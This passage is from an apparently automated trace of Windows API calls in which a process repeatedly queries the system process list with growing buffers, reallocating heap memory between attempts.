(in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.540] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0051.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0051.753] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0051.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0051.753] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0051.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.753] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0051.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.753] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0051.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.754] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0051.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.754] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0051.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.754] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0051.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.754] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0051.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.754] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0051.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.755] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0051.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.755] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0051.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.755] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0051.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.755] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0051.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.756] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0051.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.756] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0051.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.756] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0051.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.757] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0051.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.757] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0051.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.757] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0051.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.758] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0051.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.758] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0051.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.758] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0051.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0052.188] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0052.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0052.188] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0052.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0052.188] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0052.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0052.188] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0052.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0052.188] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0052.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0052.189] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0052.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.189] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0052.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.189] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0052.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.189] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0052.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.189] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0052.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.190] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0052.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.190] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0052.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.190] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0052.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.190] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0052.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.191] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0052.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.191] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0052.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.191] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0052.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.192] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0052.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.192] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0052.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.192] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0052.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.193] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0052.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.193] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0052.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0052.193] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0052.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0055.513] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0055.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0055.513] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0055.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0055.513] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0055.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0055.514] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0055.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0055.514] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0055.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0055.514] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0055.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.514] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0055.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.514] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0055.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.515] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0055.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.515] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0055.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.515] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0055.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.516] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0055.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.516] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0055.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.516] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0055.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.517] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0055.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.517] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0055.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.517] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0055.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.517] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0055.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.518] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0055.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.518] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0055.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.518] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0055.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0055.519] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0055.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0055.519] Sleep (dwMilliseconds=0x64) [0056.039] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0056.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0056.039] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0056.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0056.039] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0056.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0056.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0056.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0056.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0056.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0056.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0056.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0056.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0056.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0056.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0056.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0056.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0056.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0056.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0056.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0056.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.043] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0056.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.043] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0056.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.043] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0056.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.044] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0056.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.044] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0056.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.044] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0056.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.045] RtlReAllocateHeap (Heap=0x4c0000, 